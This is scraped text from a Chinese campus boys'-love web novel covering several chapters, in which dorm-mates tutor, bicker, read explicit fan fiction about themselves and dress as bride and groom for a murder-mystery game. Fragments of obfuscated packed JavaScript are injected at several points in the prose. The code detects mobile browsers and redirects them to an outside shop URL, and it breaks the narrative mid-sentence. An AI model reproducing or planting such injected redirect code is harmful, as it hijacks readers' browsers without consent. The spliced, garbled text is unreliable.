但莫名的,宁启洄有点不太想删,他觉得,可能是因为那篇同人文对他的影响太过深刻,他还没能重新找一篇素一点的盖过去呢! 等下,完蛋了,他已经知道什么是素一点的同人文了。 不得了。 “不用了。”宁启洄缓缓开口,尽量避开江千陵和林枫晚震惊且不理解的眼神,也就错过了前者的眼里一闪而过的了然笑意。 林枫晚还要多问,见宁启洄实在不愿意说,只得做罢。 “也是,你们俩都是男的。”他嘟囔道。 江千陵一愣,“俩男的怎么了,咱俩不也是男的?” 林枫晚咬牙切齿道:“跟我们他妈有什么关系!” 江千陵嗤笑一声,“那之前谁和我谈得可亲热了。” 林枫晚气得脸涨得通红,指着江千陵“你你你”半天,你不出个结果来。 宁启洄叹气,劝了两句。 江千陵把话题扯回来,拧着眉看宁启洄,“他的意思是……你恐同?” 宁启洄摇头,看了眼林枫晚,倒也不至于恐同,毕竟他发小就是。 “那你……”江千陵拧眉不解。 林枫晚嗤笑,接过话头,“他铁直,要弯还轮得到岑柏意?我早自己上了。” 宁启洄踹了他一脚,“怎么说话的。” “随口一说随口一说。”林枫晚呲牙,这一脚是踹得真不轻啊。 江千陵震惊脸,半响,开始唾弃林枫晚,“啧啧,畜生啊,兔子都不吃窝边草。” 林枫晚:“你他妈才是畜生!” 江千陵:“是吗?我可不会对岑哥有意思,我们,清清白白。” 说完,看了宁启洄一眼。 再次收到来自江千陵的意味深长的眼神,宁启洄表示不懂。 林枫晚抓狂暴躁,“我就是打个比方!打个比方懂不懂!” 话题就这样被岔开了,没人再提家教的事情,贫穷的宁大少爷还是决定继续这份高薪工作。 气得半死的林枫晚哼哼唧唧拉着宁启洄出门了,“阿宁,走走走,去小吃街买点夜宵吃吃。” “你是猪啊,一个小时前才吃晚饭。” 即便是这样说,宁启洄还是拿起桌上的手机,随着他去了。 江千陵看着两人离去的身影,眸子眯了眯,打开了那个神秘的绿泡泡软件。 【Анатолий】:很遗憾的告诉你,你的小男朋友好像是直男,据说铁直(有待考证) 【Анатолий】:还有,注意着点,林枫晚觊觎你小男朋友。 江千陵看着对面的正在输入中反复横跳,过了很久才发来消息: 【cby】:? 【Анатолий】:…… 【Анатолий】:你是在对哪条消息感到疑问,金牌讲师江老师可以为你解答。 【cby】:两条,他是直的关我什么事,直的也不会和林枫晚在一起。 江千陵看着岑柏意发来的消息,再次眯眼。 不对劲,这回复很不对劲, 看来“小男朋友”这个称呼就默认了,下面那回复也很不对劲,按照常理来说,应该回复“他和谁在一起都和我没关系”。 啧啧,这回复,有十二分的不对劲。 【Анатолий】:行吧。 呵呵,你就装吧岑哥。 江千陵哼笑一声,打开电脑愉快单排。 —— 这边,岑柏意回到家,对上自家弟弟憨不拉几的眼神,微微摇头。 他放下手里的包,坐在沙发上,端起杯子喝了口水。 “试教结果怎么样,满意吗?” 岑念杵着拐杖一瘸一拐走过来,眼里突然迸射出金光,“我可以说不满意吗?”那可太好了,他一定要辞退这个只会仗势欺人的家伙! 岑念美滋滋想着,下一秒,就被他哥残忍拒绝了。 “不可以,我只是来例行询问,看如何调整后续课程内容,决定权在我手里。”言下之意,和你没太大关系。 岑念撇嘴,有些无趣地坐下,给自己插了个切好的火龙果块块吃。 “那你问什么,”他嘟囔道,“不如直接找你那好同学呗。” 岑柏意目光慈爱,无线包容着自己的智障弟弟,“因为你才是雇主啊。”傻缺。 岑念眼珠一转,还想给自己再争取一下,“虽然我很喜欢,但我还想——”多试几个。 岑柏意强行镇压,“喜欢就行,就他了,我跟他说。” 岑念:“……好歹问问我的想法呢?” 岑柏意看了他一眼,从包里拿出几本刚从书店买回来的试卷,“想法还挺多,有空多做几套卷子。” 岑念:“……” 不!他哥简直不是人! 正巧夏玥这时候过来了,岑念向他控诉:“妈!我哥他又霸权主义了!” 岑柏意淡淡看了他一眼,“还知道霸权主义?不错,下周让宁……宁老师考考你。” 称呼在嘴边绕了一圈,最终还是说出来,有一种异样的感觉流淌心间。 岑念没发现这诡异的停顿,嘟哝道:“什么我喜欢,明明就是你喜欢宁老师。” 岑柏意心脏漏跳一拍,又很快续上,血液迅速涌入心脏,产生激烈快速的砰击。 夏玥温柔笑着看他们兄弟俩,没插话。 岑念不读书写作业的时候,还是很听话的。 “哦对了,宁老师最近有点……拮据,妈你这周试教还是给他发点工资吧?”岑柏意看向夏玥,表情询问。 夏玥笑着点头,“好。” 说着,当面拿出手机找到宁启洄的微信,正要转账,却被岑柏意按住。 岑柏意退出转账界面,视线停留在两人聊天界面的最后一句话,是今天下午四点多发的: 【小宁老师】:对了夏姐,这周作业就写我留下的那两页题,我下周来讲,麻烦你给阿念说一下。 夏姐? “我给他发吧。”岑柏意默了一瞬,突然开口。 夏玥有些担忧道:“你们是同学,这样会不会不太好?” 夏玥并不知道宁启洄的家庭条件如何,只听岑柏意的描述,还觉得人家家庭条件不太好,如果同学给他打钱,可能会伤及他的自尊心,毕竟都是不到二十岁的年轻人,在夏玥看来,心思还是非常敏感脆弱的。 “小意,你可不能仗着家里有钱就欺负小宁老师。”夏玥秀眉拧起,有些不放心地交待他,虽然她知道,她家老大一向令人省心。 岑柏意怔愣一瞬间,便想明白了他妈妈误会了什么。 他有些哭笑不得,“我像是那样的人吗?” 回想起当时宁启洄说自己除了高富帅一无是处的模样,简直没心没肺,内核强大得厉害,估计也不在意这些。 小宁老师……岑柏意咂摸着这个称呼,勾了勾唇,转身上楼。 大晚上,宁启洄还在偷摸品鉴新找到的同人文【七百里】,是一篇古代背景的同人文,主角是战无不胜的战神将军岑百,和乱世惨遭蹂躏却苦守心上人的南风馆老鸨宁七。 点进去一看,没想到名字这么清新脱俗,内里这么黄暴! 全篇晋江不能播的画面占了大半,剩下的一半约莫有三分之一得由口口组成。 越看越上瘾,宁启洄小脸通黄地缩在被窝里,感受凉风打在脖颈处。 突然,岑百将军发来了一条私信,给宁启洄吓一跳。 【cby】:睡了吗? 熬夜带来的恍惚感,让宁启洄下意识回复: 【岁岁平安】:岑将军你穿越了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【cby】:被发现了!!(团子吃惊.jpg) 两人有来有往又聊了一会,这才真正道了晚安。 宁启洄闭上眼,唇角微微翘起,他觉得,岑柏意还是比看上去更好相处嘛! 这边,岑柏意嘴角也挂着笑,他把聊天记录又看了一遍,下楼去倒水。 准备回房的夏玥瞥见了,打趣道:“小意这是谈恋爱了?” 岑柏意正在喝水,闻言被呛了几下,他奇怪扭头,“为什么?” “你一直在笑呀。”见他没否认,夏玥面露惊奇之色,“哪家的姑娘呀,方便给妈说说嘛?” 脑海里蓦然浮现一张有些嚣张的漂亮脸庞,岑柏意嘴角再次翘了翘,“没哪家姑娘。”根本就不是个姑娘。 夏玥只当他是不愿意说,也没再多问,嘱咐他早点休息便离开了。 岑柏意喝了水回到房间,突然顿住。 不对,他刚才为什么没否认,为什么会想到宁启洄? 肯定是因为下楼前一直在跟他聊天。 岑柏意如是想,手却控制不住般又翻开了那段聊天记录,就是很简单幼稚的表情包互偷环节——或者说他单方面偷宁启洄的表情包。 指尖往上一划,倏地顿住,唇边笑容一僵,他看着那条迅速被撤回的没头没尾的消息,还是觉得有些奇怪。 突然,岑柏意想到那天醉酒看见的历史记录——校草和系草的同人贴。 该不会,所谓的将军,就是这里面来的吧? 岑柏意默了默,反锁房门拉好窗帘,然后鬼鬼祟祟点进了那个妙妙同人贴。 骨节分明的手指悬停在键盘上方,犹豫几秒,最终还是落下,在搜索栏输入【将军】二字,很快便有了结果。 出来十几篇有关【将军】的同人文,岑柏意扫了一眼,随即瞳孔震颤。 他再次确认门锁关好了,坐在床上颤抖着手,点开第一篇【将军请用力(器大活好公狗腰将军×身娇体媚无底洞戏子)】 半个小时后,岑柏意有些慌乱地退出来,耳根慢慢泛起一股薄红,连带着脸颊也要烧起来了。 刚才的文字似乎形成一幕幕具象化的画面,直接传进他的脑海,这些画面可都是 但不可否认,看片都提不起兴趣的岑柏意,却因为这些生动的文字,乱了阵脚。 他起身去盥洗台洗了把脸,脸上的热度才慢慢消退。 他坐回床上,看着依旧打开着的同人贴入口,像是在引诱他堕魔。 来都来了……岑柏意再次给了自己一个无法拒绝的理由,指尖颤抖着往下点。 【从此君王不早朝(战神将军S×少年皇帝M)】 【七百里(高冷将军×痴情妓子,有性.瘾)】 …… 一篇篇看完,岑柏意的脸已经完全红了。 新世界的大门,打开了。 当然,除了这些很黄很暴力的同人文,也有不少写得很纯情很细腻的,但其感情之丰富,也足以令母胎solo的岑柏意面红心跳了。 因为这些尺度大到令人发指的同人文,岑柏意难得没有按时入睡,他躺在床上,辗转反侧。 一闭眼,脑海里全是各式各样的颜色画面。 捱到凌晨四点,好不容易有了一丝睡意,岑柏意慢慢闭上眼。 睡意渐渐袭来,岑柏意脑海里最后一个念头是:宁启洄似乎还没满十八岁,未成年看这些是不是不太好? 15. 妹妹 岑柏意回宿舍,那是周日下午的事情了。 已经入秋了,但空气还是有些闷热,宿舍其他人都待在宿舍里吹空调。 宁启洄一扭头,就看到同款黑眼圈的岑学长背着包进来,浑身写满了困倦。 “……” 怎么和他现在的状态有点像? 两人对视一眼,都默契地没有询问,只有大嘴巴林枫晚在边上叭叭叭:“阿宁你不会是肾虚吧?” 岑柏意&宁启洄:“……” 完全没察觉到什么,林枫晚继续碎碎念,“前几天你也这样,你要不去医院看看?” 岑柏意开电脑的动作蓦地顿住,他问:“前几天?” 宁启洄还没来得及阻止,林枫晚就嘴快说了出来,“对啊,就你们搬来的前一天。” 岑柏意突然想到宁启洄手机里那篇同人文的历史记录,也是在那一天。 宁启洄恨不得撕烂林枫晚的嘴,但他转念一想,岑柏意也不知道他在看同人文,没什么大不了的。 一旁的江千陵当和事佬,“小学弟知道我们要来,激动的吧。” 声音逐渐减弱,然后消失不见。 第一次可以这样解释,那第二次呢,他们已经搬进来了,有什么好激动的。 寝室里陷入死一般的寂静,最终,宁启洄扯着林枫晚冲向食堂。 寝室里安安静静,江千陵双臂环胸看向岑柏意,“岑哥,你昨晚去做贼了?” 一脸的疲色……不能吧,岑家这么有钱,还轮得到我们岑大少爷去去偷去抢? 岑柏意轻飘飘瞥了他一眼,江千陵立刻认输,伸手在嘴上作拉链状。 OK,他不问,反正这眼神杀伤力是一点没降。 这边,宁启洄把林枫晚拖到了食堂,随便买了点吃的坐下了。 林枫晚嘴巴跟个加特林似的没停过。 “阿宁,听说新来A市的冯家,他们家大女儿今天出嫁摆席,可惜了没吃上席。” “这周作业好多啊,李老头布置的作业难死了!” “靠,昨天单排又掉几颗星,最后一局那个射手就是个臭傻逼,还逮着老子骂!” 宁启洄精神不太好,有一搭没一搭地应着,牙齿轻轻咬住吸管,留下一点点牙印。 “哎,我这疤什么时候能消啊,丑死了。”林枫晚突然看向自己的手,撇嘴道。 宁启洄一顿,看过去,已经恢复到小麦色的手背皮肤上横亘着一条三四厘米的疤痕,衣袖稍微短一点就遮不住了。 这是那次车祸,林枫晚下意识用手护住他的脑袋,因为他坐得离撞车处比较近,结果没撞到脑袋倒是把他的腿给撞折了,碎裂的玻璃把林枫晚凑过来的脸和手背划出了好长的口子。 脸上的疤痕比较细小,不凑近看根本看不出来,但当时林枫晚的手离车窗很近,被划了很长很深的口子,现在长好了像条蜈蚣一样弯曲丑陋。 趁着宁启洄沉默的功夫,林枫晚兴致勃勃提议,“要不我去纹个身,整个鞭子或者蛇,那种超级无敌贼拉炫酷的,你觉得怎么样?山脉也挺不错的,大气磅礴。” 宁启洄沉默地看了他几秒,想到那条审美堪忧会让人觉得脑子有问题的炸裂横幅,还是觉得挽救一下我们英勇救人结果把自己搭进去的热心市民林同学。 “你纹身,就考不了公了。”他轻声劝道。 林氏集团大少爷林枫晚诧异,“我为什么要考公,是啃老不香吗?” 同样家庭富裕但啃不了一点的宁氏集团贫穷大少爷:“……” “思想觉悟很高啊弟弟。”旁边有个正在呼噜面条的年轻人突然笑了,看着宁启洄。 那人一头黑红色头发,中短发,后面略长的头发用黑色皮筋扎了个小揪揪,像某种鸟类的尾巴。 可能是某个学院的学长,看着比他年长几岁,宁启洄想。 他点点头,“我也觉得。” “……” 黑红发男生笑了几声,起身离开。 没再提这事,宁启洄默默啃饼,却听旁边突然有声音传来。 “surprise!” 宁启洄看过去,是林若锦,林枫晚的双胞胎妹妹。 因为是异卵双胞胎,两人长得其实并不太像,林枫晚(变黑之前版)长得就很邻家哥哥温柔阳光系,虽然有时候说话很气人,嘴巴贱得要死,而林若锦完全遗传了胡秋雁女士的漂亮水灵,身高也有一米七左右。 “哥哥哥!开学半个月你都不来找我的!”林若锦端着餐盘回来,大大咧咧拍了把林枫晚的肩膀,控诉道。 林枫晚冷笑一声,“找你干什么,让你把我也打碎了?” 兄妹俩从小斗到大,大闹不犯,小闹不断。 就在军训开始的前几天,林枫晚旅游回来带了一套特别好看且昂贵的茶具,本来是准备送给林默远林先生的,结果被林若锦失手打碎了。 然后两人就吵架了,在家冷战几天,林先生和胡女士怎么劝都不好使,再然后就来A大军训了,林枫晚是化学系,林若锦是文学系,两人也不在一个连队训练,林枫晚把她拉黑了,林若锦根本联系不上。 “都说了不是故意的嘛。”林若锦噘嘴,小小声,“赔你一套嘛,从我零花钱里扣。” “赔个屁啊,我他妈专门买了去佛寺开过光的!”林枫晚恼怒道,怒气顶上天灵盖,端起碗就要走。 “小林子。”宁启洄看了他一眼,林枫晚抿唇,又默默坐下。 林若锦冲宁启洄感激一笑,又迅速扭头,“哥,我买一套一模一样的去开光,我保证!” 林枫晚瞥了她一眼,到底是没再说什么。 “一个月时间。” “哎?”林若锦一愣,又很快反应过来他在说什么,忙不迭点头,“没问题,保证完成任务!” “那你把我从黑名单拉出来。” “……”林枫晚不情不愿调出微信,把林若锦拉出黑名单。 “哎哥,国庆节你啥时候回去?”林若锦戳了戳林枫晚,讨好似的笑了笑,“妈妈说要回爷爷奶奶那边呢。” 林家是从林爷爷那代开始发家的,林枫晚和林若锦算是富三代。 自从把家业交到林默远手里之后,林爷爷就带着老伴回到了他们最开始相知的地方,不在本地,是外省的D市下面一个小县城,云城。 每逢大型节假日,林默远都会把两个孩子送去陪陪二老,毕竟他是林爷爷奶奶唯一的孩子,他要忙事业抽不出空来,只能让两个孩子去陪一陪。 A大的军训比较特殊,是八月份就开始了,到九月十几号结束,上了大半个月的课,正好差不多要放国庆假了。 林枫晚想了想,说:“什么时候回来?” “七号啊,你忘记了,六号是爷爷生日,肯定不能提前走啊。” “哦对,爷爷过农历生日。”林枫晚点头,“那二号回家,我一号和阿宁吃个饭,可以吧阿宁?” 最后一句话是对宁启洄说的。 宁启洄点头。 林若锦眼珠一转,想了想,餐盘一转,就凑到宁启洄身边了。 “其实……宁哥你去做贼了?”林若锦震惊脸,看着宁启洄硕大的黑眼圈。 宁启洄:“……其实什么?” “其实,我这次来也找宁哥有点事啦~”林若锦又亲亲热热地坐过去,挽上宁启洄的手臂。 这点辈分全让她给叫乱了,她比林枫晚慢出生几分钟,比宁启洄大了几个月。 宁启洄正在用纸巾擦嘴,闻言一愣,“我?找我做什么?” “哎哎哎!姑娘家家的注意点,别拉拉扯扯的!”林枫晚拿筷子敲了敲林若锦的餐盘。 林若锦撇嘴,不放手,“我都不在乎你怕个什么,谁敢造谣我就去告他!” “谁在乎你了,我怕你毁了阿宁的清白。”林枫晚冷笑,猛喝一口汤。 “……”不跟她缺心眼的哥哥计较。 “就是,”林若锦扭头看向宁启洄,露出一个黄鼠狼给鸡拜年的笑容,“宁哥,你知道A大贴吧那个CP贴吧?” “……?!!” 你又是上哪知道的?该不会林叔叔和胡阿姨也知道了吧?! 对面的林枫晚身体一僵,求你了别说了,你哥好不容易逃过一劫又要死一次了! 宁启洄喉结滚了滚,艰难地咽下嘴里的绿豆沙,缓慢开口:“我应该……知道还是,不知道?” “?”林若锦小心地感受着她哥和宁哥之间的莫名气场,捂着小心脏缓慢开口,“难道,你们俩才是一对?” 难道说,她磕的CP塌房了?! 不!不可以!她不接受! “?” “什么?”岑柏意低沉的声线传来。 —— 几分钟前,食堂入口处,岑柏意看着挽住宁启洄的那个女生,抿起唇。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012926|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >女生长得很漂亮,是会符合大部分男生心中的校园女神的形象,此刻笑靥如花,比春日里的花朵都要美上几分。 而被挽住的宁启洄也没有把她推开,只是微微侧身,保持了一定距离,没让女生完全挂在他身上。 一旁的江千陵有些幸灾乐祸,“早跟你说了他性取向可能是双,让你不早点下手,后悔了吧,啊哈哈哈!” “……” 岑柏意没理他,买了碗面,径直走了过去。 江千陵挑眉,哟,这是正宫来宣示主权了? “难道,你和我哥才是一对?” 岑柏意过来的时候,就听见那漂亮女生说了这么一句话。 “?” 这是个什么复杂的关系网? 江千陵差点笑出声,让你看着点吧,现在要被挖墙脚了,你开心了? 刚凑近,就听见宁启洄在竭力解释:“别乱说啊,你哥是你哥,我是我,而且我和岑柏意也真的没有关系,贴吧都是乱说的。” 江千陵闻言,只觉得身侧气压更低。 就在这时,那位缠着宁启洄的女生突然看向他们这边,准确的说,是看向岑柏意,眼冒金光。 “你们也来二楼吃饭?”岑柏意很随意地打了个招呼。 “这是小林子的妹妹林若锦,文学系新生,这是我们舍友,计算机系的大二学长。”宁启洄给两边都介绍了一下。 听到这话,岑柏意眉间的郁气缓缓散开,含笑点头。 宁启洄想喝二食堂二楼的绿豆沙,就扯着林枫晚来了,没想到碰上这么多熟人。 又想起岑柏意刚刚说的话,宁启洄补充了一句,“这个好喝。” 岑柏意盯着那根带了点牙印的吸管看了几秒,就在宁启洄都快忍不住客套一句“要尝尝吗”的时候,岑柏意收回视线,点头,淡淡道:“下次尝尝。” 江千陵:“……”你尝个屁,你不是不爱喝这玩意儿吗! 林若锦眼里金光更甚,眼神几乎要实质化:你还说你们没关系! 宁启洄无力咆哮:真没有啊! 林若锦暗自尖叫,激动地看着两人脸上的痛苦黑眼圈。 啊啊啊啊!这两人大晚上是干什么去了才能熬成这样?! 诶嘿嘿诶嘿嘿嘿~ 两人在这里眉来眼去打哑谜,岑柏意轻咳一声,“你们在聊什么?” “没什么!” “宁哥罗曼史~” 宁启洄和林若锦异口异声,岑柏意只听自己想听到的,他搅了搅碗里的面,状似无意开口:“什么罗曼史?” 眼神却若有似无落在对面埋头喝绿豆沙的男生身上。 林若锦气息一顿,小心翼翼道:“就,关于你和宁哥的……CP贴,学长你看过了吗?” “嗯。”岑柏意咽下嘴里的面条,轻轻颔首。 宁启洄崩溃:你嗯什么嗯啊! 林若锦不复之前的萎靡状态,两眼放光,像是看见猎物的鹰隼,“既然这样,那你知道什么是同人文吗?” 语气带着循循善诱的意味。 “你写同人文?”岑柏意挑眉,有些意外,宁启洄也看过来,目含指责。 原来是你啊若锦妹妹,我看完同人文两个晚上没睡好觉! “没有!”她矢口否认。 坚决不能承认,她的小马甲要死死捂住! 林若锦小心翼翼观察着两人的反应,眉目间并没有太过强烈的抗拒,于是继续伸出试探的jio,“那你们,看过吗?” “没有!”两人异口同声,岑柏意抿唇,宁启洄炸毛。 江千陵左看看右看看,勾起一抹笑。 倒是林枫晚坚定维护,“怎么可能,阿宁都不知道什么是同人文!” 说完,其他人用看智障的眼神看着他,都有CP贴了,同人文是什么都不知道不太正常吧。 “看我干什么?”林枫晚奇怪地打开前置摄像头,脸上没有脏东西啊。 “觉得你说的有道理。”江千陵哼笑一声,随口敷衍道。 林枫晚得意洋洋,“那是。” “……”宁启洄没眼看了,不准备再掺合这段充满风风雨雨的江湖恩怨,端起碗就走。 见宁启洄不在了,林枫晚也巴巴起身,岑柏意和江千陵快速吃完也走了。 留在原地的林若锦眯起眼,打量着岑柏意和宁启洄的背影。 新的灵感,诞生了! 16. 更衣 第三周课上完,也就到了国庆假期。 林枫晚得回老家看爷爷奶奶,江千陵说是要和朋友出去旅游,岑柏意就直接回家,而宁大少爷——得去做家教。 原本,夏玥是打算让岑念国庆假放松一下,反正平时就一直在放松,管业管不住,但现在,有了小宁老师这个绝佳管理者(划掉,工具人),岑念也能收收心在家里好好学。 所以,岑念被残忍地剥夺了假期自由。 十月一日当天,山海七栋310的精血男人们一大早就开始计划今天的行程——准确的说,林枫晚拉着宿舍其余三个人一起,掰扯今天怎么过。 “上午要不我们去玩剧本杀吧!”林枫晚兴致勃勃提议。 江千陵翻个白眼,“谁上午玩剧本杀,一点氛围都没有。” “你觉得呢阿宁?”林枫晚不服气,气冲冲问宁启洄。 “实在想动脑子,不如做做高数。”宁启洄有气无力说道。 他打了个哈欠,脑袋无力地耷拉着, 八点多就被扒拉起来,他心里是真的很不爽。 岑柏意表示无所谓,四个脑袋凑在一起都商量不出一个对策,眼见着快十一点了,林枫晚一咬牙,当即拍板,“去吃饭,吃完饭打剧本杀。” 实在想不出来去哪里,几人也就应了。 午饭订了学校附近一家烤肉店,离得不远,大家准备走路过去。 林枫晚边走边和剧本杀的老板发消息,“哎,你们要玩什么本,恐怖本情感本还什么的。” “都可以。” “随便。” “嗯。” “……”你们三个有完没完! 林枫晚气呼呼选了个评分比较高的恐怖本。 这时候,剧本杀店的老板也发消息过来了,老板取了个很洋气的名字,叫Timmy。 【Timmy】:这个本确实很受欢迎,但最好有一个女生来哈,最好是和对象一起来。 【二月花】:为什么? 【Timmy】:和剧本有关,保持神秘感,不过真的建议有个带着对象来的女孩子,实在没有也没关系。 【Timmy】:你们这边几个人,给你们拼个车?我这边正好有个女孩子,不过是单身。 林枫晚和老板商量完之后,高高兴兴吃了顿烤肉。 下午一点,几人吃饱喝足,按照约定时间地点去找人,因为老板说他睡午觉开门比较晚,他让玩家们先会面。 广场边上站着三个男生,一个个子高高的,穿着灰色紧身背心,肌肉很夸张,一拳打死一个小朋友的那种,剩下两个就是普普通通的身高身材,稍微有一点点胖。 居然也都是男生,和事先约好的不太一样,但也没人在意Timmy老板说的那句话了。 见他们过来了,其中一个戴眼镜的男生摊手道:“没办法,有个女生跳车不来了,我只好把我朋友拉来补上。” 没等他介绍,他那位朋友就站了出来,是那个肌肉男。 肌肉男动了动胳膊,状似无意秀了吧自己的肱二头肌,“你好,我叫冯兹毫,是A大物理系大二学生。” 话是对310的男人们说的,眼睛却直勾勾盯着宁启洄,手也伸到他面前。 宁启洄没来得及做出反应,岑柏意就往前跨了半步,自如地伸手握住。 “你好,岑柏意。” 冯兹毫恍然大悟,“啊,我认识!岑学神嘛,幸会幸会!” “幸会。”岑柏意点头。 双方有些过于正式的交谈,让其他人都不知道该作何反应。 戴眼镜的男生干巴巴补充,“我叫魏东霖,这也是我朋友汤宇。”说着,指了指一旁没说话的男生。 好在离约定时间很近了,大家也没说什么,只是一起朝剧本杀店里走去。 直到到了店里,几人才意识到为什么玩这个本需要一个女生。 “……这是我们店码数最大的嫁衣了。”老板Timmy染着一头不羁的黄发,和玩家们大眼瞪小眼。 此刻,他拿出一套红色的婚服,看着房间里整整齐齐七个大老爷们,微微沉默。 说好的一米六五可爱女大呢? 他们店收费比较昂贵,因为道具用得很费心,这套婚服做工比较细致,虽然比不上高端品牌,但也确实不是粗制滥造的,也就没有过于宽松的码数。 他是没想到,这种本子,居然会有全车都是男人组队来。 不是,这本子里这么多浪漫剧情,难道不该有一对小情侣来体验一下吗?? 几人默默看向最瘦的宁启洄。 “……想都别想,”宁启洄试图为自己辩解,“我还能长的!” “是是是,能长能长,可你一时半会也长不了多少了。”林枫晚哄了几句,然后毫不意外被踹了一脚。 宁启洄环顾四周,310其他男人骨架比女生大许多了,肯定穿不了,对面的肌肉男也穿不了,剩下两位有些突出的肚子可能也不会好好配合。 来都来了,他忍! 宁启洄臭着脸接过婚袍。 “还有一套男式婚服,你们——”老板视线在几人之间转了转。 江千陵勾唇一笑,推了推岑柏意,岑柏意岿然不动。 一旁的冯兹毫已经伸出手了,“要不我来?” “?” 岑柏意脸色沉下来,眸子里没什么温度。 他直接伸手,仗着位置优势,率先把婚袍拿到手。 “?” 冯兹毫伸出去的手停在半空,僵硬几秒,然后若无其事揣回裤兜。 宁启洄幸灾乐祸地笑了笑,只觉得岑柏意也跟着倒霉,江千陵默默看了他一眼。 有什么好笑的,岑哥跟你结婚你就这么高兴? 他摇摇头,算是看出来了,这两位一个比一个缺心眼。 想着,瞥了眼两位中的另一位——林枫晚。 他故作泫然欲泣状,拉着宁启洄的手不放,“阿宁,你就要出嫁了,我身为娘家人,也没什么——嗷!” 被踩了一脚,老实了。 Timmy老板眨眨眼,开店久了什么都能见到,他只需要做的什么都不问就好。 “新郎新娘的打扮要贴合古装,所以二位先去更衣室吧,还需要弄造型。” 其他人在房间里百无聊赖地看剧本的时候,岑柏意和宁启洄被带去了更衣室。 因为原本的女式婚服是要女生来穿的,所以这里有两个更衣室。 “你们可以分开,不过为了节约时间,在一个更衣室互相帮助着穿比较好,古式婚袍比较复杂。”Timmy指了指两间更衣室。 宁启洄拿着手里的婚服,有些生无可恋,倒是岑柏意面露迟疑。 他不明白自己为什么就抢了这婚服过来,就只是被那冯兹毫一激而已,身体就快过脑子先一步有了动作,等回过神来,婚袍已经在手里了。 但现在肯定是不能反悔的,想都能想到,他若是把婚袍还回去,那姓冯的肯定忙不迭就来接替他了。 想了一下宁启洄穿着婚袍和冯兹毫站在一起的画面,岑柏意下意识不能接受。 “放心,我们的衣服每次用完都清洗消毒过的,定期换新,不会有脏东西的。”Timmy见他迟疑,还以为担心衣服有问题,毕竟公共场所的东西确实得注意卫生。 为了还原真实效果,他们剧本杀里的衣服都得贴身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【岑百挑眉,似是讶异,“宁老板不会?那我来教你。”说着,他终是压制不住心里的□□,大手猛然握住岑七纤细的腰肢……】 岑柏意抿起唇,缓了几秒控制住自己的心绪。 他扭头,发现是宁启洄女式婚服外袍上的红纱被金属装饰品勾住了,绕了半天绕不出来。 现在的宁启洄像只浑身通红的艺术品粽子。 他很轻地笑了一下,缓声道:“那我来教你。” 说完,他忽然顿了顿,随即假装若无其事给他解扣子。 宁启洄蓦地顿住,这台词……就他妈很耳熟啊! 我靠,这家伙该不会看过那篇同人文了吧?! 宁启洄想到那篇【七百里】,面颊就要烧起来了,谁知道这么正经一个文名内里居然这么爽这么暴力! 还、还挺带感的。 宁启洄默默观察着岑柏意的面部表情,发现他神色如常,便只觉得自己是想多了。 很快,他就没心思想这么多了。 岑柏意的指尖时不时蹭过他温热的肌肤,带起阵阵战栗,像是羽毛在轻轻撩拨。 是一种全新的体验,让人想要退缩,又忍不住更进一步。 就在他实在受不住准备说的什么的时候,岑柏意先一步松了手,红纱轻飘飘落在两侧。 “好了,你继续穿吧,扣子对齐。”岑柏意收回手,大步走向隔壁更衣室。 接下来要换裤子了,他再待在这里不合适。 看着岑柏意刚正不阿的背影,宁启洄感叹,他真纯洁,是他误会他了! 默默在心里唾弃几秒自己污秽的思想,宁启洄低头开始小心地系扣子。 他不知道,等岑柏意回到隔壁以后,原本淡然的脸全都红了,面上泛着热意,他只觉得自己要烧起来了。 回想起刚才无意间瞥见的一抹白皙,喉结不受控制地滚动几下,心里似乎有什么东西正在酝酿…… 17. 拜堂 等换好衣服,岑柏意就被老板带了回去,而宁启洄被引到另一个房间。 回到《七夜婚葬》剧本杀的游戏房里,岑柏意忽视其他人投来的眼神,径直坐在江千陵边上,他左边是一个空位,给宁启洄留的,再左边是那个戴眼镜的男生魏东霖。 想了想,正要起身换到左边的位置,就见宁启洄盖着红盖头,由工作人员扶进来坐好了。 因为要保持神秘感,宁启洄剧本的第一部分他已经在化妆间看完了,除了他和岑柏意,其他人的身份剧本都是随机抽取的。 《七夜婚葬》是民国时期的剧本,主要人物有顾家大少爷顾泽鸣(岑柏意),大少爷的新婚妻子卫晨曦(宁启洄),顾家的仆人古修(冯兹毫),来吃席的侦探赵景天(江千陵),同样来吃席的记者李乐桥(林枫晚),顾家老爷的四姨太聂娇娇(魏东霖),顾家的外籍医生戴维(汤宇) 其他人也换好了衣服,他们的衣服相对来说比较简单。 其中,记者李乐桥设定是一米七多的女性,衣服比较中性宽大,衬衫加小马甲,而聂娇娇设定有些肥胖臃肿,所以服饰也有些宽松,林枫晚和魏东霖都能穿上。 宁启洄看完剧本就在想,这所谓的婚葬,葬从何来? 总不能是让他配冥婚吧,顾大少爷不是活得好好的吗?没听说这本子是变格啊。 宁启洄隔着红盖头,隐约看了眼右侧人的身影,高大挺拔。 收回视线,他掐指一算,估计要“死人”。 第一幕就是拜堂,DM①穿着顾府的小厮服饰,面无表情开始介绍故事背景,“民国十三年,福来镇一方富户顾家的大少爷顾泽鸣娶亲…… 这时,身着华丽喜袍的新娘卫晨曦来到喜堂内。” 一旁扮演喜婆的工作人员扶住宁启洄,慢慢走到房间前的空地上。 岑柏意也走了过去。 